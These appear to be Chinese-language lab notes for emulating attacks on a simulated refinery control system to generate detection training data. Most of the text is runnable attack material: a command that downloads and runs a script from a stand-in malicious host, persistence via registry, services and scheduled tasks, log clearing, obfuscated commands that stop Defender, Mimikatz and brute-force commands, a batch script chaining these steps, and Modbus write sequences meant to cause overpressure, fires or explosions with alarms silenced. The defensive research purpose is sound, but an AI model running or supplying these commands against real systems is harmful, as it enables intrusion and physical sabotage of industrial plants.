## 基本資訊 ### 通訊協定弱點 **沒有加密 (Encryption)** * 資料傳輸是「明文 」的 * 例如:HMI 向 PLC 發送指令「把暫存器 40001 設成 1234」→ 這個封包在網路上就是清清楚楚的 1234 * 攻擊者只要能 sniff 網路,就能讀懂封包內容,甚至複製/竄改 **沒有驗證 (Authentication)** * 協定不會問「你是誰」「你有權限嗎」。 * 任何能連上 PLC 的人,只要用正確格式封包,就能下指令。 * 舉例:攻擊者可以直接對 PLC 下「寫入暫存器」的命令,不需要帳號密碼。 ### 使用nmap掃描開放端口 > 特別針對 Telnet (23 和 2323) 、SSH (22)、 HTTP(S) ( 80, 81, 8080, 443) > 其他工控協定如 Modbus、SNMP 、 S7comm ``` nmap -p 502 --script modbus-discover <目標IP> nmap -p 502 --script modbus-discover.nse <target_IP> ``` * 列出目標 PLC 是否支援 Modbus,以及一些暫存器的資訊 ### Modbus 工具 常用工具 : mbtget、modpoll、pymodbus #### **1. mbtget** #### **2. modpoll** ``` modpoll -m tcp -t 3 -r 1 -c 5 192.168.1.10 ``` • -m tcp → 使用 Modbus TCP • -t 3 → Input Register 類型 • -r 1 → 起始暫存器位址 = 1 • -c 5 → 讀取 5 筆 • 192.168.1.10 → PLC 的 IP #### **3. pymodbus** ### 煉油廠分散式 PLC 架構清單 靠 Unit ID → 縮小到某台 PLC 靠 Table → 確定是「感測器」還是「控制」 靠 Address → 精準找到是哪個點位(例如 00001、30001) > S7comm 沒有像 Modbus 的 Unit ID 這種「一個 IP 多台裝置」慣例;若要 S7 也切 4 台,較乾淨的做法仍是多開實例或用不同 IP/Port。以下配置以 Modbus 為核心。 #### 1. 加熱爐 PLC - Unit ID 1 • 00001 → 燃燒器控制開關(Coil) • 30001 → 爐膛溫度感測器(Input Register, °C) #### 2. 常壓蒸餾塔 PLC - Unit ID 2 • 30001 → 壓力感測器(kPa) • 00001 → 出料泵浦啟停 (Coil) #### 3. 真空蒸餾塔 PLC - Unit ID 3 • 00001 → 真空系統啟停 (Coil) • 30001 → 冷凝器出口溫度 (Input Register, °C) ### 攻擊前需要知道的資訊 * Slave ID(Unit ID):代表是哪一台 PLC > 用 nmap 的 modbus-discover 腳本 搜 * 功能表 / 資料表(Function Code 類型):是讀取 Coils、Input Register 還是寫入 Holding Register? > 01 (Read Coils) → 讀 Coils(1-bit 可讀可寫) 02 (Read Discrete Inputs) → 讀離散輸入(1-bit,只讀) 03 (Read Holding Registers) → 讀 Holding Registers(16-bit,可讀寫) 04 (Read Input Registers) → 讀 Input Registers(16-bit,只讀) 05 (Write Single Coil) → 寫入單一 Coil 06 (Write Single Holding Register) → 寫入單一 Holding Register 15 (Write Multiple Coils) → 寫入多個 Coils * 具體位址(Address / Register Number):確切指向哪個子設備(像出料泵、壓力感測器等) > 找出哪個地址有回應後使用工具(如 Modbus Poll 或 modpoll)試不同 Function Code 與位址組合,直到定位目標設備 ### pymodbus 針對指定 Slave (unit ID)依序抓取不同 Function Code 與地址區段的功能,並把所有讀到的資料儲存到本地上下文,適合做整裝 Scan 器或模擬資料蒐集器用途 [Modbus Scraper Example](https://pymodbus-n.readthedocs.io/en/v1.3.2/examples/modbus-scraper.html?utm_source=chatgpt.com) [工具](https://www.icdt.com.tw/main/index.php?=2018) ## IT ATTACK ### 攻擊鏈一 1. **Initial Access** 使用 USB 插入實現入侵 1. **Execution** 透過 USB 的 AutoRun/BadUSB 行為觸發程式執行 > USB AutoRun : 插入 USB 且開啟磁碟時就可能自動執行惡意程式 > BadUSB : 將普通 USB 設備偽裝成鍵盤、滑鼠或網卡等,一插入就可模擬輸入鍵擊、執行命令 3. **Persistence** 利用 Windows Service 或註冊表機制保持惡意程式重啟 * **註冊表** 將惡意程式的執行路徑加入 Windows 註冊表中的特定「Run」鍵,讓它在使用者登入或開機時自動執行 > 示範指令 : `reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MyMalware /t REG_SZ /d "C:\YourPath\malware.exe"` * **Windows Service** 在系統啟動時自動運行惡意程式,並且以 SYSTEM 權限處理 > 示範指令 : `sc create BadService binPath= "C:\payload\malware.exe" start= auto` 建立名為 BadService 的服務 啟動時自動執行 malware.exe 執行權限為 SYSTEM 4. **Privilege Escalation** 利用 UAC Bypass 本機屬於系統管理員群組、且啟用 Admin Approval Mode的情境下,避開同意/輸入密碼的提示,讓指定程式直接以高權限執行 * 手法一 : Fodhelper Auto-Elevate 繞過 5. **Defense Evasion** 隱藏程序或關閉防毒掃描工具 6. **Credential Access** 使用 Mimikatz 類工具提取密碼 7. **Discovery** 使用 PowerShell、WMI 探索網段與主機 8. **Lateral Movement** 使用 SMB、WMI 或 Pass-the-Hash 等技術進行橫向擴散 ### 攻擊鏈二 1. **Initial Access** 檢測公開伺服器漏洞,可以檔案上傳web shell 1. **Execution** 利用漏洞執行 remote payload 1. **Persistence** 建立惡意 PowerShell registry Run key 1. **Privilege Escalation** 採用 Token Stealing 或 Service Manipulation 提權 1. **Defense Evasion** 利用 Rootkit 隱蔽檢測,偽裝成合法系統進程 1. **Credential Access** 使用 lsass Dump 或網路封包攔截取得憑證 1. **Discovery** 使用 Net用戶查詢 AD 結構與信任關係 1. **Lateral Movement** 向其他伺服器傳播,可能使用 PsExec ### 各階段攻擊行為 #### 1.Reconnaissance * 利用Nmap掃描內網設備與IP範圍 * 其他公開資訊這邊無法紀錄 ``` nmap -sP 192.168.1.0/24 nmap -p 80,443,22 192.168.1.0/24 ``` #### 2. Initial Access * 釣魚攻擊(誤點連結) * Web Server 被上傳惡意檔案 * SQL注入 * 插入USB硬體設備 * VPN 暴力破解這9個 ``` # 使用 Hydra 進行 VPN 密碼暴力破解 hydra -l user -P /path/to/passwords.txt vpn.target.com vpn ``` #### 3. Execution * 利用PowerShell執行下載並執行惡意腳本 * 透過CMD執行系統指令 * 利用 bat批次檔對系統進行批量破壞或設定修改 ``` # 使用PowerShell執行下載並執行惡意腳本 Invoke-WebRequest -Uri "http://malicious-site.com/malware.ps1" -OutFile "malware.ps1" powershell -ExecutionPolicy Bypass -File malware.ps1 ``` ``` # 使用CMD執行系統指令來控制系統 cmd.exe /C "shutdown /r /f" ``` #### 4. Persistence * 建立排程任務(Windows Task Scheduler) 設定在系統重啟後自動執行惡意腳本 * windows註冊表修改以開機啟動 ``` # cmd設定Windows Task Scheduler使惡意腳本持久執行 schtasks /create /tn "Malicious Task" /tr "powershell -ExecutionPolicy Bypass -File malware.ps1" /sc onstart /ru SYSTEM ``` ``` # cmd修改註冊表使得惡意程式自動啟動 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MaliciousApp" /t REG_SZ /d "C:\path\to\malware.exe" /f ``` #### 5. Privilege Escalation * 利用公開的本地漏洞工具或弱密碼字典對本地管理員帳戶執行爆破 ``` # 使用John the Ripper進行本地管理員密碼爆破 john --wordlist=/path/to/wordlist.txt --format=NT hashes.txt ``` #### 6. Defense Evasion * 使用PowerShell清除Windows事件日誌以隱藏攻擊痕跡 * 混淆PowerShell指令執行惡意程式,避免傳統簽名偵測 * 關閉防毒軟體或安全服務 ``` # powershell 清除事件日誌以隱藏攻擊痕跡 wevtutil cl Security wevtutil cl Application ``` ``` # 混淆PowerShell指令 wevtutil cl Security $decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("d2V2dHV0aWwgY2wgQXBwbGljYXRpb24=")) Invoke-Expression $decoded ``` ``` # bash 停止防毒軟體服務 net stop "Windows Defender Antivirus Service" ``` [gpt](https://chatgpt.com/share/68c0c822-5e94-8007-84a0-8844acc6e932) 混淆 #### 7. Credential Access * 執行模擬Mimikatz,擷取記憶體中使用者密碼 * ARP spoofing攔截內部憑證 ``` # 使用Mimikatz擷取記憶體中的密碼 Invoke-Mimikatz -Command "sekurlsa::logonPasswords" ``` ``` # 使用ARP spoofing攔截內部網路的憑證 arpspoof -i eth0 -t 192.168.1.1 192.168.1.2 ``` #### 8. Discovery * 執行netstat、arp、ipconfig或Nmap掃描內部網段 * 執行systeminfo、whoami、net user等命令蒐集系統資訊 ``` # 掃描內部網段 netstat -an ipconfig /all nmap -sP 192.168.1.0/24 ``` ``` # 收集系統資訊 systeminfo whoami net user ``` ``` # cmd whoami /all & rem 使用者/權杖/群組/權限 query user & rem 目前登入的交談 klist & rem Kerberos 票證清單(不含密碼) cmdkey /list & rem 已儲存的憑證條目(只列名,不顯示密碼) ``` ``` # powershell whoami /all klist cmdkey /list ``` #### 9. Lateral Movement * 利用RDP、SSH等嘗試遠端連線 ``` # 嘗試使用RDP遠端登錄 mstsc /v:192.168.1.10 ``` ``` # 使用SSH遠端登錄 ssh user@192.168.1.10 ``` ### 工具 [atomic red team](https://github.com/redcanaryco/atomic-red-team) ### 腳本 ``` @echo off echo === Step 1: cmd : nmap === cmd /c nmap -sP 192.168.1.24 echo. echo === Step 2: PowerShell : download file === powershell -Command "Invoke-WebRequest -Uri "https://github.com/BBrain778/MP3_To_Text/blob/main/requirements.txt" -OutFile "malware.ps1"" echo. echo === Step 3: PowerShell : execute the download file === :: 底下這個是測試用打開小算盤 powershell -Command "powershell -ExecutionPolicy Bypass -Command Start-Process calc.exe" echo. echo === Step 4-1: cmd : create schedule task === cmd /c schtasks /create /tn "Malicious Task" /tr "powershell -ExecutionPolicy Bypass -File malware.ps1" /sc onstart /ru SYSTEM echo. echo === Step 4-2: cmd : Registry add --> execute automaticaly when turning on === cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MyMalware /t REG_SZ /d "C:\YourPath\malware.exe" echo. echo === Step 4-3: cmd : create service --> execute automaticaly when turning on === cmd /c sc create BadService binPath= "C:\payload\malware.exe" start= auto echo. echo === Step 4-4: cmd : create Directory --> execute automaticaly when turning on === cmd /c copy malware.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" echo. echo === Step 5-1: PowerShell : clear windows logs === :: 清空「安全性事件日誌」 powershell -Command "wevtutil cl Security" :: 底下這個是個測試用的日誌 powershell -Command "wevtutil cl FakeLog" echo. echo === Step 5-2: PowerShell : turn off defender === powershell -Command "net stop 'WinDefend'" echo. echo === Step 5-3: PowerShell : Obfuscating PowerShell wevtutil cl Security === powershell -Command "$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('d2V2dHV0aWwgY2wgQXBwbGljYXRpb24=')); Invoke-Expression $decoded" echo. echo === Step 5-4: PowerShell : Obfuscating PowerShell turn off defender === powershell -Command "$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('bmV0IHN0b3AgIldpbkRlZmVuZCI=')); Invoke-Expression $decoded" echo. echo === Step 6-1: cmd : discovery information === cmd /c systeminfo echo. echo === Step 6-2: cmd : discovery information === cmd /c whoami /all & rem 使用者/權杖/群組/權限 echo. echo === Step 6-3: cmd : discovery information === cmd /c net user echo. echo === Step 6-4: cmd : discovery information === cmd /c query user & rem 目前登入的交談 echo. echo === Step 6-5: cmd : discovery information === cmd /c klist & rem Kerberos 票證清單(不含密碼) echo. echo === Step 6-6: cmd : discovery information === cmd /c cmdkey /list & rem 已儲存的憑證條目(只列名,不顯示密碼) echo. echo === Step 6-7: PowerShell : discovery information === powershell -Command "whoami /all" echo. echo === Step 6-8: PowerShell : discovery information === powershell -Command "klist" echo. echo === Step 6-9: PowerShell : discovery information === powershell -Command "cmdkey /list" echo. echo === Step 6-10: cmd : discovery information === cmd /c netstat -an echo. echo === Step 6-11: cmd : List C drive folders === cmd /c dir C:\ /b /ad echo. echo === Step 6-12: cmd : cmd /c wmic product get name,version === cmd /c wmic product get name,version echo. echo === Step 6-13: cmd : User effective group principle === cmd /c gpresult /r /scope user echo. echo === Step 6-14: list domain === cmd /c nltest /dclist:domain.local echo. echo === Step 7-1: cmd : ssh connect to other machine === cmd /c ssh user@192.168.1.10 echo. @echo off echo === Step 7-2: cmd : windows RDP to other machine === cmd /c mstsc /v:192.168.1.100:3390 echo. echo === all finish === pause ``` ## IT 訓練資料 使用時間序列模型(如LSTM、ARIMA)和關聯規則引擎,分析事件序列是否符合攻擊流程模板 訓練資料格式在用於時間序列分析及多階段攻擊識別時,需同時具備「事件時間序列資訊」和「行為標籤」,方便模型學習行為順序與關聯。以下是具體且實用的資料格式範例,以及欄位說明。 ### 訓練資料格式設計 | 欄位名稱 | 欄位說明 | 範例數據 | |----------------|------------------------------------------------|---------------------------| | event_id | 唯一事件識別號 | 10001 | | timestamp | 事件發生時間(精確到毫秒) | 2025-08-27T23:00:05.123Z | | source_ip | 來源IP | 192.168.1.100 | | dest_ip | 目標IP | 192.168.1.102 | | user | 系統使用者或帳號 | admin | | event_type | 事件類型(例如:process_start、file_access、network_connection) | process_start | | event_description | 更詳細的事件描述 | PowerShell執行異常指令 | | event_features | 事件特徵向量欄位(如API呼叫碼、資源類型、權限等) | [0.3,0.9,0.1,0.0,0.7] | | stage_label | 事件所屬攻擊階段標籤(如initial_access、execution、normal) | initial_access | | attack_label | 整段序列是否屬於攻擊的二元標籤(0=正常,1=攻擊) | 1 | | sequence_id | 連續事件序列ID,標示整個攻擊流程或正常流程的事件串 | seq_initialaccess_usb_0001 | ## OT ATTACK [資料](https://www.notion.so/256eac1784ec80e391a2e352f134d7ff?source=copy_link) ### 攻擊鏈一 : 乾轉 + 過熱 • 步驟 1:原油槽液位被降低(CrudeOil_Level ↓) • 步驟 2:原油泵仍持續啟動(CrudeOil_Pump_StartStop = TRUE) • 步驟 3:導致預熱器溫度開始異常升高(Preheater_Temperature ↑) → 結果:泵在無料下空轉、摩擦加熱,可能引發火災或泵損毀。 ``` mbtget -w6 500 -a 3 -d 127.0.0.1 -p 40001 mbtget -w1 1 -a 1 -d 127.0.0.1 -p %QX0.0 ``` > -a 3:指定這是保持寄存器 (Holding Register) > -a 1:指定這是線圈 (Coil) > -w6:寫入 REAL 類型的數據 > -w1:寫入單一位元組數據(布林型態,0 或 1) ### 攻擊鏈二 : 過壓爆塔 • 步驟 1:加熱器出口溫度提高(Heater_Temperature ↑) • 步驟 2:大氣塔液位過高(Atmosphere_Column_Level ↑) • 步驟 3:大氣塔頂壓力持續升高(Atmosphere_Column_Top_Pressure ↑ ) • 步驟 4:警報被壓制 (High_Pressure_Alarm = FALSE) → 結果:壓力無法釋放,可能導致塔頂爆炸。 ``` mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40011 mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40017 mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40019 mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX1.4 ``` ### 攻擊鏈三 : 真空失效 • 步驟 1:真空泵被關閉或失靈(Vacuum_Column_Pump_StartStop = FALSE / Vacuum_Pump_Control ↓) • 步驟 2:真空塔壓力上升(Vacuum_Column_VacuumPressure ↑ → 真空度下降) • 步驟 3:真空塔溫度升高(Vacuum_Column_Temperature ↑) → 結果:分餾失效、設備熱應力增加,甚至塔內物料劣化。 ``` mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.1 mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40073 mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40021 ``` ### 攻擊鏈四 : 液化石油氣 • 步驟 1:液化石油氣液位逐漸上升(LPG_Level ↑) • 步驟 2:液化石油氣泵被停止(LPG_Pump_StartStop = FALSE) • 步驟 3:液化石油氣重量持續增加(LPG_Weight ↑) → 結果:儲槽壓力積聚 → 可能爆炸。 ``` mbtget -w6 50.0 -a 3 -d 127.0.0.1 -p 40025 mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.2 mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40027 ``` ### 攻擊鏈五 : 分餾偏差 • 步驟 1:加熱器功率控制異常(Heater_Power_Control ↑) • 步驟 2:大氣塔溫度過高(Atmosphere_Column_Temperature ↑) • 步驟 3:產品槽液位出現不符合質量平衡的變化(如 Gasoline_Level ↑,但 Naphtha_Level ↓ 異常) → 結果:分餾品質偏差,產出錯誤比例的成品油,操作員誤判工況。 ``` mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40063 mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40015 mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40033 mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40029 ``` ### 攻擊鏈六 : 加熱器過載 • 步驟 1:Heater_Power_Control → 被惡意調高 • 步驟 2:Heater_Temperature → 上升接近 Temp_HighLimit • 步驟 3:Heater_Pressure → 上升 ↑ • 步驟 4:High_Pressure_Alarm → 沒響 → 結果:加熱器同時出現高溫與高壓,可能失控爆炸。 ``` mbtget -w6 200.0 -a 3 -d 127.0.0.1 -p 40063 mbtget -w6 340.0 -a 3 -d 127.0.0.1 -p 40011 mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40013 mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX1.4 ``` ### 攻擊鏈七 : 質量流失 / 液位/重量不符 目的: 利用液位和重量不符,對系統進行操作,造成流程異常 • 步驟 1:石油腦液位過低(Naphtha_Level ↓) • 步驟 2:石油腦重量增加(Naphtha_Weight ↑) • 步驟 3:石油腦泵未啟動(Naphtha_Pump_StartStop = FALSE) → 結果:泵未啟動,儲罐溢出或流動錯誤,造成質量流失或設備過載 ``` mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40029 mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40031 mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.3 ``` ### 攻擊鏈八 : 油品錯誤/過量分餾 目的: 操作液位和溫度不當,導致油品過量分餾。 • 步驟 1:汽油液位設置過高(Gasoline_Level ↑) • 步驟 2:大氣塔液位上升(Atmosphere_Column_Level ↑) • 步驟 3:大氣塔頂壓力未調整(Atmosphere_Column_Top_Pressure = 固定或過高) • 步驟 4:泵未啟動(Gasoline_Pump_StartStop = FALSE) → 結果:油品過度分餾,造成分餾塔效能下降,甚至設備損壞 ``` mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40033 mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40017 mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40019 mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.4 ``` ### 攻擊鏈九 : 逆流處理 / 泵被強制停止 目的: 利用設備狀況進行逆流操作,強制停止泵,造成系統阻塞或污染。 • 步驟 1:煤油泵被強制停止(Kerosene_Pump_StartStop = FALSE) • 步驟 2:煤油液位設定為過高(Kerosene_Level ↑) • 步驟 3:煤油重量不匹配(Kerosene_Weight ↑) → 結果:油品逆流或泵損壞,造成處理過程中的污染或損失 ``` mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.6 mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40041 mbtget -w6 50.0 -a 3 -d 127.0.0.1 -p 40043 ``` ### 攻擊鏈十 : 重油反應堆過熱 目的: 通過控制加熱器溫度、重油液位和重量,達成過熱的效果 • 步驟 1:重油液位設置過高(HeavyOil_Level ↑) • 步驟 2:加熱器溫度過高(Heater_Temperature ↑) • 步驟 3:重油泵運行時過載(HeavyOil_Pump_StartStop = TRUE) → 結果:重油過度加熱,泵可能過載,可能導致系統過熱或火災 ``` mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40057 mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40011 mbtget -w1 1 -a 1 -d 127.0.0.1 -p %QX1.2 ``` ### 攻擊 ``` mbtget -d -r3 -a 40001 -n 37 -f -u 1 -p 5020 100.124.205.73 ``` ## 提問 1.攻擊順序都一定是依照1-8嗎? | 項目 | 具體調整作法 | 原因與說明 | |----------------|--------------------------------------------------|------------------------------------------------------------| | 1. 支持非線性流程 | 訓練資料允許不完全或跳階段序列標註,如[1 → 3 → 5 → 8]、[2 → 4 → 6]等多樣順序 | 攻擊多樣化,固定流程假設限制模型泛化能力,必須讓模型學習非完整序列 | | 2. 多重路徑學習 | 利用圖結構或序列模型加強不同攻擊路徑學習,非單純線性LSTM,可用Graph Neural Network (GNN)等 | 攻擊流程相當於有向圖,多路徑攻擊需多路徑識別能力 | | 3. 分段或子序列偵測 | 模型可偵測任意有意義子序列,針對局部階段行為給出中間判斷和信心分數 | 提早偵測攻擊跡象,不依賴完整序列,提高防禦反應時間 | | 4. 標註多標籤且多順序 | 訓練數據中增加多樣化序列組合標籤,並用多標籤分類方式,不強制序列完整性 | 幫助模型識別不完整但惡意的行為模式,強化泛化能力 | | 5. 加權序列階段重要度 | 透過注意力機制(attention)對不同階段賦予不同重要度,模型自動學習不同階段影響力 | 某些階段必須出現(關鍵節點),某些可跳過,模型動態分配判斷權重 | | 6. 搭配規則引擎強化判斷 | 設計彈性的規則引擎配合模型輸出,確保可識別各種攻擊流程及關鍵事件組合 | 規則引擎可補足模型短板,提高整體系統的靈活性與偵測覆蓋面 | | 7. 模型設計使用序列分段學習 | 採用更靈活的序列模型,如Transformer Encoder,支持非連續事件及跳躍序列模式 | 增加模型對序列異常跳躍的適應力,允許大範圍時間間隔和跳過事件的識別 | | 8. 弱監督或半監督學習 | 若無法完全標註,使用弱監督或半監督策略,挖掘潛在變異攻擊行為,提高模型泛化 | 避免硬性標籤限制,增強對未知或變異攻擊行為的識別能力 | ## wazuh agent 1.從官方下載最新 MSI [安裝檔](https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-windows.html) 2.把檔案放到固定路徑,例如: ``` C:\Temp\wazuh-agent-4.12.0-1.msi ``` 3.執行安裝 在「系統管理員 CMD」裡輸入: ``` msiexec /i "C:\Temp\wazuh-agent-4.12.0-1.msi" /qn WAZUH_MANAGER="192.168.6.232" /l*v C:\wazuh_install.log ``` 安裝成功後會在:`C:\Program Files (x86)\ossec-agent\` 4.啟動服務 ``` net start Wazuh ``` 可以查狀態: ``` sc query WazuhSvc ``` 停止服務 ``` net stop Wazuh ```